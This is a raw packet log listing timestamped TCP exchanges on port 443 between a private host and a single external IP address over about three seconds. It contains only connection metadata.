Oct 7, 2024 18:43:46.364258051 CEST	443	49871	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.364747047 CEST	443	49871	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.364810944 CEST	49871	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.365034103 CEST	49871	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.365048885 CEST	443	49871	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.365058899 CEST	49871	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.365065098 CEST	443	49871	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.369088888 CEST	49876	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.369124889 CEST	443	49876	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.369189024 CEST	49876	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.369364977 CEST	49876	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.369378090 CEST	443	49876	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.521786928 CEST	443	49872	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.522783041 CEST	49872	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.522806883 CEST	443	49872	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.523243904 CEST	49872	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.523247957 CEST	443	49872	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.622796059 CEST	443	49872	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.622965097 CEST	443	49872	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.623152971 CEST	49872	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.624418974 CEST	49872	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.624418974 CEST	49872	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.624442101 CEST	443	49872	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.624452114 CEST	443	49872	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.626051903 CEST	49877	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.626096010 CEST	443	49877	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.626169920 CEST	49877	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.626318932 CEST	49877	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.626347065 CEST	443	49877	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.796412945 CEST	443	49873	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.796871901 CEST	49873	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.796910048 CEST	443	49873	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.797291040 CEST	49873	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.797297001 CEST	443	49873	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.798760891 CEST	443	49874	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.798986912 CEST	49874	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.799000025 CEST	443	49874	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.799346924 CEST	49874	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.799354076 CEST	443	49874	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.850068092 CEST	443	49875	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.850749016 CEST	49875	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.850765944 CEST	443	49875	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.851075888 CEST	49875	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.851080894 CEST	443	49875	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.892637968 CEST	443	49873	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.893655062 CEST	443	49873	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.893724918 CEST	49873	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.893796921 CEST	49873	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.893796921 CEST	49873	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.893830061 CEST	443	49873	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.893851995 CEST	443	49873	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.895493984 CEST	443	49874	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.895816088 CEST	443	49874	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.895934105 CEST	49874	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.896008015 CEST	49874	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.896029949 CEST	443	49874	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.896053076 CEST	49874	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.896066904 CEST	443	49874	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.896670103 CEST	49878	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.896723986 CEST	443	49878	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.896778107 CEST	49878	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.897003889 CEST	49878	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.897020102 CEST	443	49878	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.898065090 CEST	49879	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.898098946 CEST	443	49879	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.898159981 CEST	49879	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.898286104 CEST	49879	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.898299932 CEST	443	49879	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.038579941 CEST	443	49876	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.039040089 CEST	49876	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.039072037 CEST	443	49876	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.039441109 CEST	49876	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.039446115 CEST	443	49876	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.039967060 CEST	443	49875	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.040028095 CEST	443	49875	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.040080070 CEST	49875	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.040189028 CEST	49875	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.040203094 CEST	443	49875	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.040213108 CEST	49875	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.040218115 CEST	443	49875	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.042383909 CEST	49880	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.042423964 CEST	443	49880	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.042500019 CEST	49880	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.042613983 CEST	49880	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.042628050 CEST	443	49880	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.274863005 CEST	443	49876	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.274960041 CEST	443	49876	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.275022030 CEST	49876	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.275243998 CEST	49876	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.275243998 CEST	49876	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.275259972 CEST	443	49876	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.275269032 CEST	443	49876	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.277720928 CEST	49881	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.277761936 CEST	443	49881	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.277849913 CEST	49881	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.277993917 CEST	49881	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.278007030 CEST	443	49881	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.440814972 CEST	443	49877	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.441237926 CEST	49877	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.441260099 CEST	443	49877	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.441796064 CEST	49877	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.441802025 CEST	443	49877	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.536886930 CEST	443	49877	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.536957026 CEST	443	49877	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.537080050 CEST	443	49877	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.537198067 CEST	49877	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.537198067 CEST	49877	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.537333012 CEST	49877	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.537350893 CEST	443	49877	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.537391901 CEST	49877	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.537399054 CEST	443	49877	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.539870024 CEST	49882	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.539905071 CEST	443	49882	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.540127993 CEST	49882	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.540127993 CEST	49882	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.540152073 CEST	443	49882	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.675240040 CEST	443	49878	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.675617933 CEST	49878	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.675645113 CEST	443	49878	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.676151037 CEST	49878	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.676157951 CEST	443	49878	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.686734915 CEST	443	49879	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.687086105 CEST	49879	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.687114954 CEST	443	49879	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.687352896 CEST	49879	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.687359095 CEST	443	49879	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.767807007 CEST	443	49880	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.768739939 CEST	49880	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.768762112 CEST	443	49880	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.769085884 CEST	49880	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.769092083 CEST	443	49880	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.771558046 CEST	443	49878	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.772351980 CEST	443	49878	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.772423029 CEST	49878	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.772423029 CEST	49878	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.772464991 CEST	49878	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.772485971 CEST	443	49878	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.774677038 CEST	49883	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.774698973 CEST	443	49883	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.774770021 CEST	49883	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.774873018 CEST	49883	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.774883032 CEST	443	49883	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.807265997 CEST	443	49879	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.807503939 CEST	443	49879	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.807573080 CEST	49879	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.807771921 CEST	49879	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.807771921 CEST	49879	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.807790995 CEST	443	49879	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.807801008 CEST	443	49879	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.810097933 CEST	49884	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.810165882 CEST	443	49884	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.810254097 CEST	49884	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.810354948 CEST	49884	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.810374022 CEST	443	49884	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.865417004 CEST	443	49880	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.865487099 CEST	443	49880	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.865586042 CEST	49880	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.865710974 CEST	49880	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.865736961 CEST	443	49880	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.865746021 CEST	49880	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.865751028 CEST	443	49880	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.868165970 CEST	49885	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.868201971 CEST	443	49885	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.868396997 CEST	49885	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.868565083 CEST	49885	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.868576050 CEST	443	49885	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.965756893 CEST	443	49881	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.966413021 CEST	49881	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.966434002 CEST	443	49881	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:47.966603041 CEST	49881	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:47.966608047 CEST	443	49881	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.097243071 CEST	443	49881	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.097276926 CEST	443	49881	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.097373009 CEST	443	49881	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.097440004 CEST	49881	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.097440004 CEST	49881	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.097564936 CEST	49881	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.097564936 CEST	49881	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.097579002 CEST	443	49881	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.097587109 CEST	443	49881	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.100003004 CEST	49886	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.100039005 CEST	443	49886	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.100119114 CEST	49886	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.100250006 CEST	49886	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.100264072 CEST	443	49886	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.173352957 CEST	443	49882	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.174345016 CEST	49882	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.174345016 CEST	49882	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.174360037 CEST	443	49882	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.174377918 CEST	443	49882	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.272250891 CEST	443	49882	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.272325993 CEST	443	49882	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.272417068 CEST	49882	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.272427082 CEST	443	49882	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.272447109 CEST	443	49882	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.272499084 CEST	49882	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.272636890 CEST	49882	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.272655964 CEST	443	49882	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.272733927 CEST	49882	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.272739887 CEST	443	49882	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.275499105 CEST	49887	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.275602102 CEST	443	49887	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.275717974 CEST	49887	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.275859118 CEST	49887	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.275891066 CEST	443	49887	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.384565115 CEST	443	49883	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.385027885 CEST	49883	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.385044098 CEST	443	49883	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.385371923 CEST	49883	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.385376930 CEST	443	49883	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.433796883 CEST	443	49884	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.434346914 CEST	49884	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.434418917 CEST	443	49884	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.434640884 CEST	49884	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.434657097 CEST	443	49884	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.479671001 CEST	443	49883	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.479863882 CEST	443	49883	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.479906082 CEST	443	49883	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.480036974 CEST	49883	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.480036974 CEST	49883	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.480036974 CEST	49883	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.480144024 CEST	49883	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.480161905 CEST	443	49883	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.482321024 CEST	49888	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.482417107 CEST	443	49888	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.482515097 CEST	49888	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.482629061 CEST	49888	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.482665062 CEST	443	49888	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.484685898 CEST	443	49885	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.484961033 CEST	49885	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.484987020 CEST	443	49885	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.485331059 CEST	49885	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.485336065 CEST	443	49885	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.530437946 CEST	443	49884	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.531538963 CEST	443	49884	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.531774044 CEST	49884	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.532454014 CEST	49884	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.532454014 CEST	49884	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.532504082 CEST	443	49884	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.532535076 CEST	443	49884	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.535130978 CEST	49889	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.535232067 CEST	443	49889	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.535315990 CEST	49889	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.535438061 CEST	49889	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.535479069 CEST	443	49889	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.581662893 CEST	443	49885	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.581693888 CEST	443	49885	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.581736088 CEST	443	49885	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.581828117 CEST	49885	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.581828117 CEST	49885	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.581860065 CEST	49885	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.581876993 CEST	443	49885	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.581882954 CEST	49885	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.581887960 CEST	443	49885	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.584223032 CEST	49890	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.584238052 CEST	443	49890	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.584310055 CEST	49890	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.584449053 CEST	49890	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.584461927 CEST	443	49890	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.711639881 CEST	443	49886	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.712069988 CEST	49886	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.712085009 CEST	443	49886	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.712508917 CEST	49886	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.712515116 CEST	443	49886	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.806015968 CEST	443	49886	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.806286097 CEST	443	49886	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.806406975 CEST	49886	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.806478024 CEST	49886	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.806493044 CEST	443	49886	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.806535006 CEST	49886	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.806540012 CEST	443	49886	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.809551001 CEST	49891	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.809650898 CEST	443	49891	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.809751987 CEST	49891	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.809886932 CEST	49891	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.809921980 CEST	443	49891	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.915179014 CEST	443	49887	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.915925026 CEST	49887	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.915941000 CEST	443	49887	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:48.916435003 CEST	49887	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:48.916441917 CEST	443	49887	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.016743898 CEST	443	49887	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.016793966 CEST	443	49887	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.016988993 CEST	49887	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.017024040 CEST	443	49887	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.017235994 CEST	49887	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.017235994 CEST	49887	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.017263889 CEST	443	49887	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.017604113 CEST	443	49887	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.017679930 CEST	443	49887	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.017740965 CEST	49887	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.020163059 CEST	49892	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.020205021 CEST	443	49892	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.020289898 CEST	49892	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.020524025 CEST	49892	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.020540953 CEST	443	49892	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.096997976 CEST	443	49888	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.097529888 CEST	49888	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.097610950 CEST	443	49888	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.097959042 CEST	49888	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.097974062 CEST	443	49888	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.187261105 CEST	443	49889	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.187912941 CEST	49889	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.187977076 CEST	443	49889	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.188278913 CEST	49889	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.188285112 CEST	443	49889	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.191576004 CEST	443	49888	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.191648960 CEST	443	49888	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.191756010 CEST	443	49888	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.191874027 CEST	49888	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.191874027 CEST	49888	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.191874981 CEST	49888	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.191874981 CEST	49888	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.195405006 CEST	49893	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.195437908 CEST	443	49893	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.195636034 CEST	49893	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.195636034 CEST	49893	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.195662975 CEST	443	49893	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.226907015 CEST	443	49890	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.227559090 CEST	49890	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.227603912 CEST	443	49890	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.228035927 CEST	49890	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.228040934 CEST	443	49890	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.287101030 CEST	443	49889	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.287467957 CEST	443	49889	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.287571907 CEST	443	49889	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.287658930 CEST	49889	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.289356947 CEST	49889	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.289356947 CEST	49889	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.289356947 CEST	49889	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.291060925 CEST	49894	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:49.291084051 CEST	443	49894	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:49.291353941 CEST	49894	443	192.168.2.7	13.107.246.45
